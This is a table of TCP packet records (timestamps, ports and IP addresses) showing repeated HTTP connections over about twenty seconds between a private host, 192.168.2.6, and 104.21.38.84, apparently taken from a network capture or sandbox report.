Jan 1, 2025 16:04:00.229738951 CET	80	62788	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:00.282376051 CET	62788	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.412200928 CET	80	62788	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:00.470180988 CET	62788	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.530380011 CET	62788	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.530406952 CET	62789	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.535269022 CET	80	62789	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:00.535420895 CET	80	62788	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:00.535624027 CET	62788	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.535634995 CET	62789	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.535706997 CET	62789	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.540440083 CET	80	62789	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:00.892158031 CET	62789	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.897022009 CET	80	62789	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:00.985563993 CET	80	62789	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:01.049665928 CET	62789	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:01.164676905 CET	80	62789	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:01.251118898 CET	62789	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:01.280875921 CET	62790	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:01.285696983 CET	80	62790	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:01.285826921 CET	62790	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:01.285984993 CET	62790	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:01.290777922 CET	80	62790	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:01.641971111 CET	62790	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:01.647037983 CET	80	62790	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:01.739293098 CET	80	62790	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:01.782345057 CET	62790	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.007580996 CET	80	62790	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:02.047977924 CET	62790	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.206921101 CET	62790	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.207653999 CET	62791	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.211981058 CET	80	62790	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:02.212029934 CET	62790	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.212512970 CET	80	62791	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:02.212590933 CET	62791	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.212712049 CET	62791	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.217534065 CET	80	62791	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:02.563723087 CET	62791	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.568573952 CET	80	62791	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:02.675585985 CET	80	62791	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:02.730760098 CET	62791	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:02.936980009 CET	80	62791	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.060125113 CET	62791	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.060141087 CET	62792	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.065017939 CET	80	62792	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.065130949 CET	62792	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.065215111 CET	80	62791	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.065290928 CET	62791	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.065604925 CET	62792	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.070432901 CET	80	62792	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.423207045 CET	62792	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.428107977 CET	80	62792	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.511663914 CET	80	62792	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.606100082 CET	62792	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.772227049 CET	80	62792	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.812176943 CET	62792	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.898088932 CET	62792	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.899293900 CET	62793	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.903563976 CET	80	62792	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.903630018 CET	62792	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.904577971 CET	80	62793	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:03.904639959 CET	62793	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.904782057 CET	62793	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:03.909564018 CET	80	62793	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.251555920 CET	62793	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.256452084 CET	80	62793	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.368046999 CET	80	62793	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.424649000 CET	62793	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.507822990 CET	62794	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.507829905 CET	62793	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.513571978 CET	80	62794	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.513849974 CET	80	62793	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.513932943 CET	62794	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.513936043 CET	62793	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.514121056 CET	62794	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.520008087 CET	80	62794	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.708441019 CET	62795	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.713368893 CET	80	62795	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.713490963 CET	62795	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.713680983 CET	62795	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.718425035 CET	80	62795	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.864532948 CET	62794	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:04.869463921 CET	80	62794	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.869566917 CET	80	62794	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:04.956281900 CET	80	62794	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.048023939 CET	62794	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.064768076 CET	62795	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.069837093 CET	80	62795	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.131789923 CET	80	62794	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.169126034 CET	80	62795	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.220531940 CET	62795	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.252427101 CET	62794	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.430586100 CET	80	62795	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.485466957 CET	62795	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.548820019 CET	62794	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.549002886 CET	62795	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.549588919 CET	62796	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.553904057 CET	80	62794	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.553988934 CET	62794	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.554326057 CET	80	62795	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.554378986 CET	62795	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.554410934 CET	80	62796	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.554495096 CET	62796	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.554590940 CET	62796	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.559391975 CET	80	62796	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:05.907525063 CET	62796	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:05.912290096 CET	80	62796	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:06.008517027 CET	80	62796	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:06.063611031 CET	62796	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:06.190157890 CET	80	62796	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:06.235507011 CET	62796	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:06.312772989 CET	62797	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:06.317640066 CET	80	62797	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:06.317730904 CET	62797	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:06.320432901 CET	62797	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:06.325253010 CET	80	62797	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:06.673333883 CET	62797	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:06.678221941 CET	80	62797	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:06.763055086 CET	80	62797	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:06.940469027 CET	62797	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.030220032 CET	80	62797	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:07.154159069 CET	62797	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.154886007 CET	62798	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.159493923 CET	80	62797	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:07.159626007 CET	62797	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.160099030 CET	80	62798	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:07.160245895 CET	62798	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.160423994 CET	62798	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.165431023 CET	80	62798	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:07.517143965 CET	62798	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.522007942 CET	80	62798	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:07.601274014 CET	80	62798	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:07.641735077 CET	62798	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.870299101 CET	80	62798	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:07.995867968 CET	62798	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:07.996390104 CET	62799	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.000909090 CET	80	62798	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:08.000977039 CET	62798	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.001171112 CET	80	62799	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:08.001231909 CET	62799	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.001322031 CET	62799	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.006314993 CET	80	62799	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:08.362473965 CET	62799	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.367383003 CET	80	62799	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:08.445635080 CET	80	62799	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:08.631825924 CET	80	62799	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:08.634525061 CET	62799	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.754430056 CET	62799	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.758410931 CET	62800	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.760277033 CET	80	62799	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:08.760418892 CET	62799	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.763237000 CET	80	62800	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:08.763489962 CET	62800	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.763489962 CET	62800	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:08.768274069 CET	80	62800	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:09.110716105 CET	62800	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.115641117 CET	80	62800	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:09.235918045 CET	80	62800	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:09.352015972 CET	62800	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.409555912 CET	80	62800	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:09.453043938 CET	62800	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.529694080 CET	62800	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.530206919 CET	62801	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.534883976 CET	80	62800	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:09.534936905 CET	62800	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.535063982 CET	80	62801	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:09.535139084 CET	62801	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.535250902 CET	62801	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.540019989 CET	80	62801	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:09.892364979 CET	62801	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:09.897339106 CET	80	62801	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:09.999185085 CET	80	62801	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.143075943 CET	62801	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.143742085 CET	62802	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.148286104 CET	80	62801	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.148349047 CET	62801	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.148509026 CET	80	62802	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.148632050 CET	62802	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.148729086 CET	62802	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.153470039 CET	80	62802	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.265522957 CET	62803	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.270462990 CET	80	62803	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.270528078 CET	62803	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.270627975 CET	62803	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.275382042 CET	80	62803	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.501355886 CET	62802	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.506302118 CET	80	62802	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.506454945 CET	80	62802	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.602142096 CET	80	62802	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.626432896 CET	62803	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.631345987 CET	80	62803	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.735882998 CET	80	62803	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.751142025 CET	62802	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.782409906 CET	80	62802	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:10.907396078 CET	62803	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:10.954277039 CET	62802	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.013051033 CET	80	62803	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.137558937 CET	62802	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.137644053 CET	62803	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.138859034 CET	62804	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.142694950 CET	80	62802	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.143021107 CET	80	62803	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.143676043 CET	80	62804	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.143799067 CET	62802	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.143800020 CET	62804	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.143802881 CET	62803	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.147222996 CET	62804	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.152107954 CET	80	62804	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.501269102 CET	62804	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.506249905 CET	80	62804	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.590236902 CET	80	62804	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.719885111 CET	62804	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.758601904 CET	80	62804	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.875511885 CET	62804	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.876451969 CET	62805	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.880701065 CET	80	62804	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.880759954 CET	62804	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.881302118 CET	80	62805	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:11.881364107 CET	62805	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.881452084 CET	62805	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:11.886239052 CET	80	62805	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:12.235649109 CET	62805	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:12.240585089 CET	80	62805	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:12.361285925 CET	80	62805	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:12.438751936 CET	62805	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:12.527021885 CET	80	62805	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:12.652475119 CET	62806	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:12.657424927 CET	80	62806	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:12.661094904 CET	62806	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:12.661216974 CET	62806	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:12.665945053 CET	80	62806	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:12.746830940 CET	80	62805	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:12.746936083 CET	62805	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.017038107 CET	62806	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.022033930 CET	80	62806	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:13.113898993 CET	80	62806	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:13.220349073 CET	62806	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.393943071 CET	80	62806	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:13.438679934 CET	62806	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.525604963 CET	62806	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.526386023 CET	62807	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.530884027 CET	80	62806	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:13.530935049 CET	62806	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.531208038 CET	80	62807	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:13.531272888 CET	62807	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.531464100 CET	62807	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.536253929 CET	80	62807	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:13.876432896 CET	62807	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:13.881398916 CET	80	62807	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:13.993012905 CET	80	62807	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:14.048058033 CET	62807	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.176826954 CET	80	62807	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:14.216830015 CET	62807	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.296808958 CET	62805	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.299688101 CET	62807	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.299690962 CET	62808	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.304544926 CET	80	62808	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:14.304634094 CET	80	62807	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:14.304790020 CET	62808	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.304792881 CET	62807	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.304924965 CET	62808	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.309640884 CET	80	62808	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:14.657589912 CET	62808	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:14.662511110 CET	80	62808	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:14.767465115 CET	80	62808	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:14.848627090 CET	62808	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.027709961 CET	80	62808	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.157301903 CET	62808	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.160533905 CET	62809	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.162440062 CET	80	62808	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.164865017 CET	62808	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.165378094 CET	80	62809	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.169085979 CET	62809	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.169085979 CET	62809	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.174644947 CET	80	62809	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.516979933 CET	62809	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.521986008 CET	80	62809	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.611376047 CET	80	62809	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.657412052 CET	62809	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.774851084 CET	80	62809	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.799038887 CET	62809	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.800187111 CET	62810	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.804141998 CET	80	62809	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.804197073 CET	62809	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.805001020 CET	80	62810	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.805099964 CET	62810	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.805207014 CET	62810	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.809923887 CET	80	62810	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.899049044 CET	62810	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.899950981 CET	62811	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.904753923 CET	80	62811	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.904819965 CET	62811	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.904906988 CET	62811	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:15.909631968 CET	80	62811	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:15.946732998 CET	80	62810	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:16.176987886 CET	80	62810	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:16.177112103 CET	62810	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.251462936 CET	62811	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.256392956 CET	80	62811	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:16.368849993 CET	80	62811	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:16.423086882 CET	62811	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.541771889 CET	80	62811	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:16.595041990 CET	62811	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.669900894 CET	62811	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.673465967 CET	62812	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.675012112 CET	80	62811	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:16.675138950 CET	62811	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.678232908 CET	80	62812	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:16.678551912 CET	62812	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.678829908 CET	62812	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:16.683603048 CET	80	62812	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:17.032509089 CET	62812	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:17.037415981 CET	80	62812	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:17.131517887 CET	80	62812	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:17.174453974 CET	62812	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:17.400393009 CET	80	62812	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:17.454274893 CET	62812	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:17.515487909 CET	62813	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:17.520348072 CET	80	62813	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:17.520406961 CET	62813	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:17.520551920 CET	62813	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:17.525341034 CET	80	62813	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:17.876688957 CET	62813	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:17.882205009 CET	80	62813	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:17.973901987 CET	80	62813	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:18.048059940 CET	62813	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:18.238657951 CET	80	62813	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:18.358217001 CET	62813	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:18.358237028 CET	62814	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:18.363101006 CET	80	62814	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:18.363250017 CET	80	62813	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:18.366564035 CET	62813	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:18.366579056 CET	62814	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:18.370475054 CET	62814	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:18.375303030 CET	80	62814	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:18.727066994 CET	62814	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:18.732022047 CET	80	62814	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:18.823069096 CET	80	62814	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:18.876171112 CET	62814	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.107012987 CET	80	62814	104.21.38.84	192.168.2.6
